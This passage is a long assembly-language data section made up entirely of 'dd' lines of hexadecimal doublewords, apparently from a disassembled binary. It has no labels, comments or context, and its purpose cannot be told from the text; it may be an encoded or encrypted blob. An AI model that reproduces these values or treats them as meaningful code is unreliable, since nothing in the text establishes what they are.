dd 0AB058402h, 2D20426Ah, 96B994A6h, 7901D42Dh, 88C04C09h
dd 0B876870Fh, 2282E90Fh, 4948E47Ch, 3F074AE4h, 0A93E792Fh
dd 0F1068BA0h, 24C30745h, 0CD74AF2Dh, 2A537AFAh, 0E100827Eh
dd 84B9EDE4h, 0B700431Eh, 2FBB57A1h, 0B70A863h, 0DF8B505Bh
dd 6EB40270h, 0E52107DCh, 0DA999D89h, 0C7C22D55h, 4A3C35F6h
dd 58F09FA6h, 0FD144A91h, 11DE2EF6h, 17761011h, 0ED1944B4h
dd 5CE9BCEFh, 0DE17FD79h, 9765BC23h, 202B5EA1h, 0FE906DD5h
dd 0B463A800h, 3D370EFAh, 54C50216h, 8E257A9h, 0EAA005E0h
dd 60CAA4A3h, 8B64985Fh, 9F6150C1h, 5B6D9F04h, 86B4DFE0h
dd 0CC151C5Ah, 0AF9994FEh, 0B715E18Eh, 0EF19D985h, 0D7C8B975h
dd 88E28Bh, 0BE41B53Bh, 0CDC6D70h, 0EC692201h, 8D8A7766h
dd 0B190F7C6h, 0D12DFFFAh, 8340457h, 0B0025F09h, 0E10B2DB5h
dd 0DE6E5BB8h, 8696C7CCh, 199A0AC0h, 3DC6C555h, 3ED9A534h
dd 26AA044h, 0FD79C8Ch, 44E66D82h, 0B8F22580h, 6F0B05EDh
dd 49490484h, 547EDE57h, 8A406F23h, 221D5E4Dh, 0E901077Ch
dd 2C7B0E8Eh, 4440BE72h, 0DFB62460h, 92E002E6h, 866D6121h
dd 0E6BC84E0h, 0B6F609F5h, 6101440Ah, 6B1888F9h, 61C0C5DBh
dd 0D0F86E08h, 90F5BA19h, 0E2F6FBEAh, 3E14D709h, 0EB093E00h
dd 75EAA7F8h, 0DCA80171h, 2B255D79h, 5C9B3F90h, 50D39787h
dd 60CC37C7h, 32D8B507h, 3BB0DF81h, 17FC38BDh, 0F835FF64h
dd 8C14FC41h, 246C959h, 89648467h, 95C5925h, 9F409185h
dd 0F90BF781h, 0F01C2BD3h, 0AD679768h, 0A76017C4h, 730102A3h
dd 0BB66FF6Ah, 5BCC77F1h, 0F44F725Dh, 691F95B5h, 28801C91h
dd 37F18811h, 8C0C4604h, 44C1513Ch, 277F1005h, 14088420h
dd 10120E3h, 0AD0FEF81h, 3FFC1213h, 0A84FE99h, 9571E4DBh
dd 34EAAD05h, 3AF87BF3h, 63E8D680h, 0F01C274h, 9D0BC8B6h
dd 0D4691D19h, 8B0FC8Ah, 66240461h, 0C995093Ch, 616B7610h
dd 0D0A85BDh, 0F159216Eh, 0E0E5DDDBh, 580CA120h, 32C82B4Fh
dd 550D65B9h, 28A2D1h, 0CEC327AEh, 276D0E4h, 7E233955h
dd 7CD1DD8Bh, 0F1850103h, 0B43F7622h, 2251AF02h, 0D18D8984h
dd 20F680C9h, 0CFB8B469h, 86AC9A0Eh, 469DC002h, 0FB39EC4Ah
dd 0A307FC30h, 0B40A409Bh, 6B6502C3h, 0D03B5916h, 5211A484h
dd 28815305h, 0AE8165AEh, 0D3349B09h, 98CA6A1h, 897933F9h
dd 0AF298488h, 4BC0A610h, 95EA4700h, 0A6F5162Dh, 0A5832835h
dd 8AFE0B24h, 7C4489FAh, 85B5090Dh, 27C28903h, 0D834B18Dh
dd 0BD229F18h, 856A95F3h, 2DB09366h, 0F6D10FDh, 49601CE4h
dd 0DC018C2Ch, 4D1FFD3Dh, 73D8BF55h, 290E0CBAh, 0B9B5AD8Dh
dd 0DB07AA27h, 0CB16D090h, 0F9841200h, 640941A6h, 0F5C8A1DBh
dd 7898CBA7h, 0FA14F8BBh, 25BC0C3Ch, 6764FCh, 0DB3D1A8Fh
dd 32353495h, 5D2D5202h, 0D6E8FCB1h, 881D8015h, 56A7246Dh
dd 0C9B3600h, 0EE39D653h, 0E9C60D8Dh, 2A7AE1FAh, 2B14C6A2h
dd 4179F7C0h, 3AD2E11Ah, 8A00106Eh, 4655B5E7h, 3E01F3B2h
dd 33ADF8E3h, 4C80D1C2h, 4E983D0h, 6D9DF475h, 58A0CF7Ch
dd 0B874C138h, 35C80F62h, 68000B22h, 880D7BB5h, 417A2BE1h
dd 8BA4B93Fh, 0AE27132Ch, 5E17157Ah, 7E57B0D4h, 9CCEAB17h
dd 0B45044B3h, 9C509ACDh, 8026DCC2h, 0D501F0F8h, 0C28B50F1h
dd 6F0318C8h, 2A1D08C1h, 5819CAB9h, 0DC09D633h, 743EE380h
dd 8B07DC4Dh, 69A1B392h, 0E25EC722h, 803251BBh, 1538AEBh
dd 69BF49BDh, 286B8682h, 142CC4E6h, 5F011717h, 0C6BE9F01h
dd 0A9E9E0EAh, 4558218h, 9D209025h, 0B8810D79h, 16A2E266h
dd 9FE9133h, 8DEFAE82h, 0AAE88B6Bh, 0A8791BF7h, 4F4F9EF4h
dd 0DA042B7h, 92762707h, 0A8B6F195h, 21255FC7h, 10A8113h
dd 6E3BE1FFh, 0C8A10BB6h, 0D9B00598h, 11159D04h, 2A051C31h
dd 4700717Ah, 744FB07Fh, 0A829019Eh, 0C13C318Ch, 0DE442AD2h
dd 85EAD850h, 2F082641h, 4A1A9003h, 0B0FAA7A1h, 0AD9E698h
dd 699D011Ch, 0C6E894BBh, 90AC6C80h, 2A5C9947h, 5BD80B55h
dd 2E179860h, 3BC701B4h, 5EB7F26Ah, 0D7127B4Bh, 6D053F6Fh
dd 0FA950975h, 0E1805345h, 8CF0D4B6h, 0BFA0C90Ah, 0CFB501ADh
dd 28F14032h, 402C860Ah, 0EF604630h, 5335B7h, 32F05B29h
dd 0E2441EDFh, 9D4E6FB8h, 0BA6FC985h, 908B7938h, 0CA718D0Fh
dd 46F70Fh, 85335C3Dh, 98195EB5h, 9010F70h, 9237AD0Ah
dd 0E22F9087h, 90FD9771h, 0E70382A8h, 0DB99C63Dh, 0D1CD80F1h
dd 0E139B031h, 0CAB612Eh, 0A424C8FEh, 345AEF0Ch, 0B06AC580h
dd 6B85174Bh, 55C095Fh, 0B727C5D9h, 0C671276h, 0B7492185h
dd 7368FC03h, 10C62218h, 1F81FAF2h, 3996EB8Ch, 0F9B839A9h
dd 8DE8400h, 0B3C1E445h, 177A9890h, 53827CBh, 0A90DADBAh
dd 0EAA5ECF8h, 858904BCh, 0BE18BF99h, 0DBC0729Bh, 0E922EB0Bh
dd 0FC024725h, 0B01F417h, 532CB680h, 0BE28E676h, 0C0F9C09Fh
dd 890D1A3Fh, 8A07EA1Ch, 73E40B7Ch, 6A33F65Ah, 0CD911A7Bh
dd 3B87FDB7h, 1804C7A4h, 2D647BBAh, 0D6EA1070h, 95B5358Bh
dd 311C0A97h, 0C458957h, 3F4427Eh, 4B60021Eh, 5A101627h
dd 89352D7Dh, 9524FE04h, 9A4B078Ah, 649F8245h, 77E05DE1h
dd 45B4689h, 0DA90679Bh, 0E45EAC4Ch, 99EC2BBBh, 6096B7C0h
dd 2C2C1BB8h, 11C54597h, 7FFC4A02h, 0BF052748h, 0F6964BE3h
dd 0F58E00Ah, 82DF5EB7h, 0DEDE3D18h, 0FF3B1891h, 0E88620C8h
dd 3F63D04h, 8EF01F4Eh, 8EB28B0Ah, 0E684185Dh, 0BB50012Ch
dd 7310281Ah, 7581BF8Bh, 32E19CB0h, 50196085h, 3A2EB352h
dd 5383310Fh, 585A5F5Bh, 9E05608Bh, 9785C981h, 23519606h
dd 8BBF07A1h, 640CD483h, 7EDC8D8Dh, 527246Eh, 3384AAD9h
dd 87A171BDh, 0D83ADBFEh, 280E3625h, 45F9E599h, 0ABD94E19h
dd 5B5DC120h, 13EDA207h, 682920C6h, 3C6A3Ah, 9D430B93h
dd 0AC9FDEFh, 0E19BD2Bh, 2474A19Ch, 0CE3100A1h, 85C77893h
dd 5CAE62B9h, 0B291D42h, 4BB27208h, 272FD226h, 0BDC87ECh
dd 56EEE912h, 0B8AEADB4h, 24FF73B9h, 0F25FBA6h, 30637CCCh
dd 4483110Ch, 0E8C10198h, 0ED4107Ah, 124C3F8Ah, 0E4D05803h
dd 0DD36EBE7h, 6443E036h, 1B63E19Eh, 28293450h, 58180C21h
dd 57D00113h, 2693901Bh, 4D08BDC0h, 0B99D8934h, 0B6D16BE2h
dd 0D8012E00h, 0F7E65Eh, 6E8CF65Bh, 0EEC6F854h, 388D1C25h
dd 0E9B78522h, 4371C348h, 3A4C41Dh, 3117AEAh, 6DFC88B6h
dd 996610B0h, 5FE5123h, 0AA6EBB33h, 0E5712801h, 20D4CF80h
dd 1040E168h, 1288250Fh, 72E1EA7Eh, 8DC47D2Dh, 644B9C53h
dd 3F4AD55Fh, 1B23EDh, 0BDD3A2C9h, 0F02CF3ACh, 1060A6BAh
dd 7D4BBE2h, 0DD58AF41h, 0B9EFF79Fh, 0C72D1B02h, 4E18C5Fh
dd 0F1BD1303h, 3408212Eh, 0CD6E2F24h, 4987B100h, 414CB8EBh
dd 4FB57756h, 7C2A4AC2h, 0F504F35h, 138D31FCh, 93890951h
dd 1C26D883h, 2C598519h, 2F02F66Ch, 0E09B0A27h, 0BFCE9B3Dh
dd 0CA7A51D0h, 1C90B5A6h, 36300DC9h, 0D8493C40h, 27AA0116h
dd 0DC79FDDFh, 89482058h, 0C48687A0h, 0DB8135C0h, 4FD92146h
dd 9A687461h, 16C0C0ADh, 9FC0262h, 1EE3BC2Fh, 0DF07A081h
dd 0C29420F2h, 2AF0044Fh
dd 200C41A5h, 0FA7AB77Eh, 0B320500Bh, 581C024Eh, 0C9D4FAD4h
dd 0B85DB8AEh, 25D479h, 340B463Ch, 41158113h, 9CC49E00h
dd 0AB764E92h, 0FF470586h, 0B831B529h, 916595E1h, 0F8C759F4h
dd 0B3704AC9h, 6B4A510Bh, 0F780E8D0h, 6BCDBEA6h, 527059D3h
dd 54C11D98h, 66264135h, 3033A259h, 0F980133Fh, 0E504F96h
dd 0F6D789F3h, 0D122E1C9h, 0A537530h, 0FE8BDD45h, 961CE8Fh
dd 884244F7h, 10729D0h, 3C8DF3BBh, 65813062h, 5E11EEE1h
dd 2D375FA5h, 929A9D00h, 3C4F576Ch, 778281B5h, 501C5C1Fh
dd 0F40FF4F1h, 0B249AF98h, 60A3FF56h, 8C91A200h, 5CB2B913h
dd 0E1375E6h, 0FE3399B8h, 26B5C8E8h, 0F1240087h, 0AB83019Bh
dd 4A0AC79Dh, 815BF453h, 0F8F781C0h, 0A0D0722Dh, 80043982h
dd 0A305BF60h, 910F537h, 481986C6h, 0B9A42F61h, 3FA8A2h
dd 8C7CB299h, 718D010Ch, 84442C4Ch, 2FE60DCDh, 11758A00h
dd 73B89833h, 0D9E7EE01h, 0FC617763h, 5D6D042Bh, 0D1020A28h
dd 9043C11h, 0C8186585h, 27D74958h, 5F8B386h, 24C212E4h
dd 2D7AEFC6h, 0B64B8D16h, 736E5869h, 0F9C22341h, 252B9133h
dd 0E97F489Dh, 0F3F25BA7h, 7A6A5F90h, 5584704h, 7495822Ch
dd 1BCFEEE8h, 43342FF9h, 394304FFh, 11E91013h, 3060182Dh
dd 6880ED7Ch, 0A624505Eh, 3F2191C0h, 0E4B40075h, 9BB32C96h
dd 0BA05D2EBh, 5FF4B5A4h, 0F70E81AEh, 47E206Ah, 0D09B244Eh
dd 0CE4BA81h, 63E14460h, 0C14A899Bh, 0E62BE087h, 1098BEh
dd 332BA79Fh, 2187991Ah, 54D1F4C2h, 788AFB19h, 0E33DC667h
dd 0DEA78028h, 95892C49h, 1ED19719h, 50A098AFh, 0FD8E67B3h
dd 6090B931h, 0A4A810Fh, 0C62E29Ch, 505EBA8Ch, 9513019Eh
dd 0A3240B7Dh, 89C202B8h, 0FAF6058Dh, 9FF26625h, 0FE1D3137h
dd 0C7707800h, 4A80FB67h, 14E4E0C6h, 105CDE82h, 0D1FF161Ah
dd 0B14A7BBCh, 1E282EE1h, 7A6FE15Ah, 5F5B01E8h, 94E0E33h
dd 8903CC60h, 69929402h, 8A3093ABh, 4CE3498h, 9A807FD7h
dd 0F404A827h, 0ADA1C252h, 621D672Eh, 0FE2228D5h, 0DB201C0Ch
dd 40F29E54h, 36FE765Bh, 722C733Ah, 0E32F15F0h, 7391FB01h
dd 92D0C0D0h, 0E9E81A62h, 28710923h, 7927BBA0h, 5E053A13h
dd 9402D4C0h, 0DCC686F8h, 0C1E65C3Fh, 2A41B509h, 942B0289h
dd 92D1ADF2h, 60F32200h, 95800F69h, 0FE9287D1h, 0A84CD3E3h
dd 0EA706A27h, 0E92B5954h, 8A983AFFh, 0C1A50289h, 7F16D7DFh
dd 77BDDAC0h, 0F9448B03h, 0C77BA8E6h, 119F7369h, 31D9490Ch
dd 259546B0h, 75109023h, 70E61724h, 854A88h, 3BFFA1B1h
dd 5A4984E2h, 62E8E44Bh, 8818D5C0h, 5E004D9Eh, 0FA8C22C1h
dd 7DF0A6B6h, 12DA7597h, 0E45FDF8Bh, 988C8C5h, 0E31D4D8Dh
dd 0B3C1C14Ah, 18B62B7Eh, 202B3E51h, 0C99FBBC6h, 0F0132326h
dd 70F9C837h, 0E4F55FC1h, 25449D16h, 81C8002Bh, 1BD39D7h
dd 0D1048B59h, 49B58952h, 0E95B9391h, 0F92C3562h, 3BCB2D6Bh
dd 56962DFh, 7255264h, 24C0C457h, 62EEC36h, 205B8A14h
dd 9D19EAB0h, 86CF11C9h, 0B312FA3Dh, 109EE462h, 3EC1BF88h
dd 0E9133555h, 0E1D88841h, 0CD2A2041h, 516341ECh, 9D622E2Ah
dd 0DE919826h, 14A6E666h, 1CA583BEh, 1257FE12h, 315DE54Fh
dd 0AB206E28h, 257911BBh, 9ACC31DEh, 0BDE1BC20h, 83C11D6Dh
dd 0C7F93F5Eh, 5990F220h, 0A64C1A02h, 5F9D610Bh, 46D66E76h
dd 1B4E0517h, 9814BE76h, 0B99840B2h, 0BD0DD22Fh, 1C7902DAh
dd 0A482CC06h, 955C0ADCh, 823EBB01h, 86231316h, 0A280B700h
dd 6CF5B4E4h, 0FC4D01ECh, 20112DEFh, 6DADF705h, 9BC04F2Bh
dd 4D6380CAh, 0D49BB51h, 5B700AB5h, 58922AECh, 80D890BAh
dd 8F8D4BDBh, 0DD745089h, 239E105Bh, 894B897h, 800CE97Ch
dd 1481B0D1h, 0CC021692h, 5F1D4AB1h, 2D935C85h, 8D0099BDh
dd 0D97379DAh, 6B2EFD27h, 12142398h, 4A8AE310h, 49D369CAh
dd 4C3D25DFh, 8F4CBE82h, 0D4097569h, 5A442859h, 7BE78140h
dd 20E3657Fh, 0FC1CDB17h, 0FB2DB88Dh, 98DF803Dh, 7C1F66C4h
dd 0CEADEB09h, 0C9347EAEh, 23921959h, 59131209h, 336DA7EDh
dd 85042245h, 0DC142F15h, 0B26DA912h, 41A85F2h, 0F301F87Bh
dd 6E136B20h, 6655C291h, 2E8D00AFh, 6770D853h, 6E0F81CAh
dd 4F5B1D37h, 2FF1CB01h, 0AE21266h, 6E85EC8Dh, 560A2682h
dd 0A5A371EEh, 0DEA15C26h, 7FD02302h, 77DF4983h, 772FA710h
dd 36A40D06h, 0F8AD89h, 985D6A0Ch, 8804E5B2h, 0F8604A14h
dd 89E8C0EDh, 1CA7BBFh, 327EB85Dh, 0C89C6FADh, 3254DB5h
dd 56FB6226h, 0CF17DCCFh, 1C043110h, 8D1221C9h, 2122B03h
dd 0AA80B8DBh, 7B8B8C29h, 0BBDE7601h, 3EEE8D03h, 120D482Eh
dd 40E5ED6Bh, 14F31061h, 906AF3BEh, 99AA1A02h, 57905536h
dd 207DC3E1h, 96112E12h, 34FE2B3h, 0C9EB8113h, 3F3409B9h
dd 4F1C6h, 310F5B56h, 585AEAB7h, 0A550ABB5h, 0AEE28A74h
dd 0B1D0E301h, 0B5F8182Dh, 5EAC1ECEh, 0F581F3A0h, 7A3BB700h
dd 0D62A9CBCh, 0EFE80002h, 68B4735Eh, 402DFD3Ch, 6689627Bh
dd 14EE9F24h, 0BB8ECD60h, 0E56F3668h, 0E83298B2h, 0C98A10h
dd 0AEEE08E1h, 5A802C9Dh, 921635C1h, 6102379Ah, 0C309E07Fh
dd 7B5F28FEh, 9530BA0h, 4EEE64C9h, 0D47B94h, 4E550DAEh
dd 3641FD37h, 0F88BAC12h, 0E94FBDB3h, 7049CFB3h, 908FE912h
dd 0F95BB3Fh, 7D729A95h, 12097004h, 0DB5E5BA3h, 0E5E893EEh
dd 0B5618688h, 0A80412BDh, 27E69664h, 67A255F0h, 0F7A4EC04h
dd 42F09D39h, 87BB9525h, 1041D81Ah, 0F367800Dh, 499CA8BCh
dd 0B8E734Fh, 0DBE0ADA9h, 0B7BD4689h, 91A0834Bh, 0CDE8E362h
dd 6D197E2Dh, 7DFC60CAh, 0B9669F81h, 6E610746h, 18161025h
dd 0FF866C9Bh, 2169FCD5h, 0AF3C51E5h, 0B8C08C6Dh, 5B852956h
dd 687A80A9h, 4C2DEAD0h, 0D5330AF0h, 0D2192F02h, 709BFB0Fh
dd 701643F0h, 8AE11BB8h, 8140302Ah, 501589CFh, 269043F4h
dd 6DAF0FFAh, 2F3CC07Dh, 0FC0A1B7Ch, 9753BF66h, 0A9086D88h
dd 718BA8C8h, 0C0614AE1h, 0F4DAD99Bh, 0ED2D2AEFh, 0F205C52Bh
dd 0DE358927h, 23EF608h, 8BD801BCh, 8EAF87A7h, 669AC88h
dd 2D39512Fh, 0F0F98D9Ah, 601C26D7h, 55A05B79h, 4BDF833Bh
dd 38096AF0h, 18DC01BDh, 45C85E0h, 671AC487h, 300E7DC0h
dd 86262E72h, 0CED09D1h, 27C20659h, 0CB86D604h, 10607054h
dd 905B31BEh, 0C038B683h, 0CFDC01CBh, 0D68D1B4Ah, 41B98360h
dd 62800D05h, 0C91E0947h, 0AED0533Dh, 7E09D47Ah, 829DFF33h
dd 0B0DD131h, 198BEE6h, 0CC24B127h, 1AD99782h, 0BFF88312h
dd 0C196809Dh, 0AC9E592Ah, 0AE58CA0Bh, 5B5DB167h, 887E50C5h
dd 220B2AF1h, 6434C727h, 43520608h, 0BCF9891Ah, 0B79F24FAh
dd 20770043h, 43D8CC0Fh, 4197C0E4h, 0DEAF526h, 42D16EF0h
dd 0C94DD88Ah, 0F16F3Fh, 254E891h, 13D326Eh, 0FBBF3B63h
dd 2B6DBD11h, 0BBBD2835h, 0F601D7B8h, 6B231420h, 373071D4h
dd 1994907h, 398C1BB8h, 3B02FA33h, 0BFE2ACF6h, 7D9F982h
dd 0B3E26B56h, 492856FBh, 8998B7FDh, 4B85F8CEh, 0B70F944Dh
dd 0ACD14915h, 0C7AE0978h, 0AB845945h, 133EACD9h, 52BF9D29h
dd 2A39A1A0h, 9F043734h, 39AC394Bh, 0C40FDE5Ah, 0D5826D53h
dd 2993A71Dh, 8A022D62h, 41093A68h, 79EC7318h, 12321817h
dd 0B7FE1146h, 0B5DA5F36h, 74DD9780h, 0DC1D1194h, 0E500EF81h
dd 23603F50h, 6D12D8Dh
dd 2EA15DA2h, 0E4380B0Bh, 59BE0042h, 968354Ah, 0B62CCCEDh
dd 9E0B7690h, 72C6460h, 952C20DEh, 81002E1Fh, 0BF4DB9C4h
dd 726C9F0Eh, 995E692Ah, 0A2303007h, 594B1249h, 82FF2461h
dd 9EB2D9F2h, 0B2F8DF02h, 0CD6B5156h, 4EA1C0B2h, 136FE80Bh
dd 190E317h, 2FC7C8AAh, 9A570091h, 1C2B3264h, 0D2044058h
dd 5FF88F71h, 35A284ACh, 0CD958921h, 0BC4AF768h, 7C57261Dh
dd 61EA8A06h, 1AED9DD5h, 90DE5CC0h, 6B430A19h, 0E28AC2B4h
dd 5856DA8Bh, 2BDB76Bh, 0C0617301h, 0DDA60A41h, 0A0A3754Ah
dd 0CDB5375Ch, 505DE01Ah, 0BCC4BFE6h, 2F81777Bh, 742B172Dh
dd 0B8E8ED75h, 0BF054896h, 958C927Fh, 48448414h, 0A180EEF9h
dd 0D863601Fh, 0C604EB00h, 0C9864532h, 9BB53507h, 8F72B866h
dd 279A5661h, 4EF6D6D6h, 12FFE898h, 0B2B0A80Fh, 0CBF84A8Bh
dd 80286F90h, 0D4E9BF6Fh, 5AFF71F3h, 9B7C13B3h, 825F822Ah
dd 88B8D5A5h, 5482191Dh, 8F7CA58Dh, 0F64600F4h, 3C150AC1h
dd 72942D56h, 30F09013h, 71C883C2h, 44E8C6Dh, 0F9608F0Bh
dd 0EB803DECh, 0C7E5879Dh, 0D400E4C2h, 6BB16FB8h, 73B66072h
dd 2616405h, 84B28490h, 9B9FBFB4h, 4055B780h, 1B073A29h
dd 0B4270982h, 35C5F93Bh, 14466F56h, 9A977E9h, 5E1963F2h
dd 0CE248942h, 80BFBD5Dh, 7DB189C2h, 6155F9D9h, 418128ADh
dd 0D94C7CAEh, 0B250FE16h, 0B3901EB7h, 0F57B78D7h, 13FED390h
dd 4887FC81h, 3945B509h, 2A6AD259h, 5B2DF109h, 181D79D2h
dd 0C1B500BBh, 0F299FF4Fh, 0D276D984h, 3720D15Bh, 2F676FBEh
dd 5C690D3h, 45D11495h, 0F1FC60AAh, 0B801240h, 26AD3E7h
dd 5570D6D3h, 282704FDh, 82E1B350h, 0EA29991Dh, 4210F559h
dd 67000AEBh, 880C8204h, 0A05F5B62h, 25BF66DBh, 947C1981h
dd 3F1946D4h, 9565057Bh, 0FCAF09Eh, 8F6A4Eh, 0CF8CAD11h
dd 58BC494Eh, 0F82DC2F5h, 85C19A74h, 0E900156Dh, 16970DADh
dd 80FC4821h, 76E8ED59h, 4CED890Bh, 6DD47464h, 0C55CF20Ch
dd 0C01ACD2Fh, 0EAC15688h, 8F60F09h, 0E9615CF8h, 54ADCDB5h
dd 0D6D58F92h, 9501BEA1h, 510A2B05h, 0C43B9C90h, 125A38BBh
dd 0A7F2712Fh, 4899904Bh, 1D11A141h, 0D842292Eh, 83ABA5BDh
dd 0C6D93C25h, 0E3BB033Dh, 6A575AC7h, 0B918A9E4h, 0C1E4D43Fh
dd 2E2E0DF6h, 38A0C9E7h, 0C0BFD825h, 810AB126h, 67622E5Bh
dd 6F642946h, 0F7426E07h, 0F8928817h, 8315CB0h, 0E6051125h
dd 831E5170h, 5F252250h, 0A1965FFEh, 182563AFh, 4BC75D4Ah
dd 24FC8B95h, 8077A8A5h, 0AF920F1h, 0D1CB593Dh, 0E237EF12h
dd 5081595Bh, 5417D7Ah, 9BBC430h, 44D9919h, 0FC456170h
dd 0A13680DAh, 37D431h, 697B34B3h, 6B27868Bh, 0F518D809h
dd 401A5CE8h, 70374B50h, 0C72D6C00h, 3106CBDAh, 5B380133h
dd 8529C82Bh, 0D7436F95h, 0B28B9BDh, 0E9F8D10Dh, 81C25474h
dd 9DC20E27h, 851002E5h, 191BD18Dh, 0E0F50070h, 963231D7h
dd 5E04CBF2h, 4B5BDAB7h, 9D2742AEh, 0A55C0FC1h, 9A013CB8h
dd 56123389h, 2624918Dh, 7125B860h, 232F40DCh, 32005F54h
dd 15A830C4h, 22BB4D2h, 61FC2D4Eh, 0B7993EE9h, 98C6FDFh
dd 9C1197F8h, 0A385082Bh, 85A5FA61h, 0E102FE16h, 0E2FF3FD3h
dd 51790414h, 3A31CDFBh, 975F1BCCh, 0F145A130h, 0E63D9Fh
dd 0D19BA1F5h, 1095A84Ch, 0E3FE31h, 39752260h, 0B7EA383h
dd 91030C74h, 0D21D2F63h, 0F470414Ch, 0B67CB2Ah, 2265BD2Bh
dd 0CA82B9B2h, 0FA55802Ch, 973E5F7Ch, 0A874790Bh, 8AC504DCh
dd 0BC031440h, 0CDFC25C9h, 2E51C27Ch, 0BBFEFCE0h, 2D1FD304h
dd 5FF8B866h, 1211A5C4h, 0F5A830EBh, 4C3AAA0Dh, 8949805Bh
dd 59C912CEh, 545F7AFCh, 97DE20BAh, 5CC4961Eh, 60A702C5h
dd 0BBE0C1A3h, 0CE16D18Dh, 0E9F88FAAh, 0AB950F20h, 79D3DB8Fh
dd 58DFF0A0h, 498D4713h, 46F7ACDh, 0B8BDB23Ch, 0C781DE78h
dd 3180CEE1h, 0D2E7CB2Ah, 0CCA9BCE9h, 101351B9h, 61FC7B03h
dd 2838809Eh, 0A68CCE9Bh, 0B6107E0Fh, 0CB5545BCh, 0C7AAC8AFh
dd 94D05200h, 686EB86Dh, 29BC0C58h, 5BC3B595h, 58B731E2h
dd 47CFB7E1h, 0AB477241h, 0A79C9640h, 0CA14975Eh, 0FA314B68h
dd 0ED9200DEh, 0D25209A7h, 57B05F7Bh, 57DCCD59h, 0F5F54A5Ch
dd 0BBD8352Bh, 0C8014CCh, 0E1FF31CFh, 95EC92Eh, 20B14776h
dd 564E045Fh, 7189FC87h, 4684284h, 42024F5Dh, 3C51BFFEh
dd 4182380Eh, 0F7EDA22Bh, 928EC2EEh, 406C7EFEh, 0BC33F5E5h
dd 0A83C0700h, 1480B9E1h, 5A6505C3h, 87AABFB2h, 9D3311B6h
dd 0E1B578DDh, 0ABA0D686h, 1E912081h, 0A76E605Bh, 6280DE38h
dd 0B766ACFAh, 8A2522F2h, 82AAC2D9h, 5526E1CDh, 0C29688BFh
dd 565588h, 0FCE46AFDh, 8F5BDE29h, 4BB20E00h, 32F77749h
dd 2F1A972Ch, 0FDD57586h, 9E975F4Bh, 3B8BAF08h, 0B5A575F3h
dd 471304D9h, 0D28EB8E2h, 0E78074DBh, 0E9F1E276h, 0EADCA31Ch
dd 6BF1DBAh, 50626885h, 32FCAD12h, 7E66F98Dh, 68517000h
dd 127B96C6h, 97800F9Fh, 0A347E163h, 0E854F231h, 96D390Fh
dd 0DC8CFE60h, 9BFB4003h, 0AB683753h, 8AF7C023h, 773A97FEh
dd 1FD4317Eh, 4A36A995h, 10A3013Ah, 77D94A26h, 0B3C57FF2h
dd 7AD82D00h, 1730CBBh, 0F1392302h, 0C80BF796h, 59028EE6h
dd 0E96AAB3Ah, 9FAA1A8h, 55CE8995h, 1491FE37h, 0CFF63C8Bh
dd 25327425h, 3DDFA862h, 5588803Dh, 29B9C5Bh, 0A534BB3Ch
dd 9BB1045h, 0D49F02B7h, 0F814D235h, 5513B855h, 66028507h
dd 7875F5BBh, 9DAC840Fh, 0BBE1626Dh, 9C300B7Fh, 0C4408233h
dd 6E950C01h, 196EC419h, 92B3B922h, 0F8097DAh, 23C0EDB5h
dd 9D897704h, 0B3162F81h, 0A16700F6h, 0D0210A55h, 74F0034Dh
dd 0EBC69F19h, 0B6BF898h, 0F60DB0Dh, 51C23182h, 807D1FFCh
dd 27E95DD5h, 0CA099DD4h, 870C9A2Fh, 0C6FB2157h, 86A58070h
dd 0F78102C6h, 7063BE7Eh, 46D6C35Ch, 997D001Bh, 9ABE0BE0h
dd 0BF7201F5h, 48633D0Dh, 38EE2060h, 3EB85Dh, 6861C225h
dd 4B237BE2h, 2CBB3D3h, 636BC3BBh, 1DF4483Fh, 2CFB0088h
dd 0C9ED8060h, 0D55EBD89h, 4A97612h, 9D56318Bh, 8FC45044h
dd 235231AAh, 1393567h, 2E06E1E9h, 5661A771h, 0C09FD52Ch
dd 2C6585B0h, 48049668h, 5BF5C3A4h, 2D2B15B1h, 0F00866B1h
dd 763B1CFCh, 475D1729h, 0C078305Ch, 6010EDBh, 35DCC45Eh
dd 0DD40EC6Ah, 975F5C20h, 50690614h, 5410DF39h, 3013933Fh
dd 79AFBCC1h, 907B1014h, 0D005E21h, 25F34F05h, 2F438CE1h
dd 0E94AE95Fh, 76E52F4Dh, 22E3FD02h, 75005E62h, 784AFBC9h
dd 50B50F2h, 70BE4094h, 78C59B45h, 4E0BBA9Ch, 72870FF5h
dd 9795980Bh, 0F5693714h, 0EE3C15Bh, 6B4BD92Eh, 0C2093DA2h
dd 1C16099Fh, 4141D56Fh, 39B2CD9Dh, 0B2D2BC7Ch, 5BA40293h
dd 5E76CC2Dh, 0C781601Ah, 912A4E80h, 0EB7C1646h, 7D02BD12h
dd 6A4B17E7h, 62D50715h, 79D932FFh, 0CB5EA713h, 96270C10h
dd 29EBE07Ah, 726B8FBh, 62973AFDh, 13870B9h, 0A79D319Dh
dd 0ABF9BDCEh, 59BCDB2Ch, 7D2F181Dh, 0A40901BFh, 4E856B32h
dd 0D6342E67h, 4EBE0EC5h, 59C42939h, 328AB24h, 941A97DEh
dd 9456A7CAh, 0DE1774A5h, 13A144BFh, 0F24EC4C0h, 5E2A003Ch
dd 0E23F9840h, 0A9227A0h, 0BDFE281Ah, 0E4ED0F9Eh, 0DC10958Ch
dd 5B009EEEh, 70D7694Fh, 13534BCCh, 6C3767h, 0ABDCC10Ah
dd 0B97615Fh, 0F595059Ah
dd 0A0AC8E94h, 0AD10F8D0h, 0A2C44A12h, 0F80BB9Fh, 0EE2329ABh
dd 0C6515712h, 8224A412h, 9E8460EBh, 8BFF970h, 7C69FF15h
dd 1412DE2Ch, 0CF3017A9h, 221182h, 0A73ECFFCh, 718D2940h
dd 0AAB648B2h, 21846D6h, 333A91A8h, 65985FFBh, 0AB979589h
dd 303D4054h, 0B79612EFh, 1E33EC77h, 33136BFBh, 3D241509h
dd 8216117Ch, 6A5A0B5Ch, 48066889h, 0A83A97BBh, 0AD507CFBh
dd 0FC603822h, 91C561A5h, 0B5317827h, 8E0A34Dh, 0BAD88A50h
dd 60228D9Bh, 33BBF5C7h, 3B1F5315h, 0F8D45DA4h, 0B5BD3D03h
dd 0C59060C0h, 0FBC9815Eh, 61E4497Fh, 0F8BCD71h, 4B23338Eh
dd 0E57CE788h, 0F09B4ADh, 0A672D8B7h, 0D0ACFB9Fh, 4B5E9CAh
dd 0A6B82C3Ah, 0EF8552E3h, 23005A7Ah, 0FF788505h, 3C984748h
dd 0B5AEBA95h, 713884E7h, 5308FB95h, 52C61311h, 0D2B0B27Fh
dd 0E3E048A6h, 4B002F21h, 8137E2B4h, 4BE94851h, 8BD08144h
